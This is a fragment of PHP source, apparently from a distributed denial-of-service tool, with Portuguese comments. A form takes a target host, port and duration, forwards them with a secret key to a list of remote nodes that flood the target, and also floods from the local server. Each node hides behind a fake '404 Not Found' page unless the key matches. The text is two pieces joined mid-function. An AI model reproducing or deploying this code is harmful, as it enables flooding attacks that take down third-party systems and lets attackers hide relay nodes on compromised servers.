$data = array(); for ($x = 0; $x < $qtd_remote; $x++) { $data[] = $remote_links[$x] . "?p=" . $acess_url . "&r=s&dest=" . $_POST[dest] . "&port=" . $_POST[port] . "&time=" . $_POST[time] . "&id=" . $x; $log .= 'Remote ID ' . $x . ": " . $remote_links[$x] . "?p=" . $acess_url . "&r=s&dest=" . $_POST[dest] . "&port=" . $_POST[port] . "&time=" . $_POST[time] . "&id=" . $x . "\n"; } $r = multiRequest($data); //var_dump($r); for ($x = 0; $x < $qtd_remote; $x++) { $log .= $r[$x] . "\n"; } if ($_POST[nolocal] != "Y") { $log .= send_packets($_POST[dest], $_POST[port], $_POST[time], 'LOCAL'); } } else { $log .= "Teste distribuido: Nao\n"; $log .= send_packets($_POST[dest], $_POST[port], $_POST[time]); } } else { if ($_POST) { $log = "Erro: Preencha todos os campos!"; } else { $log = "Nenhum log..."; } } ?> <!-- Latest compiled and minified CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css"> <script> function form_submit(){
$result[$id] = curl_multi_getcontent($c); curl_multi_remove_handle($mh, $c); } // all done curl_multi_close($mh); return $result; } //fim multiRequest /********************************************************************************************************* FIM FUNÇÕES *********************************************************************************************************/ if ($_GET[p] === $acess_url && $_GET[r] == 's' && $_GET[dest] != NULL && $_GET[port] != NULL && $_GET[time] != NULL && $_GET[id] != NULL) { //does the magic //needs curl //remote command echo send_packets($_GET[dest], $_GET[port], $_GET[time], $_GET[id]); exit; } else { echo ' <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> </body></html> ';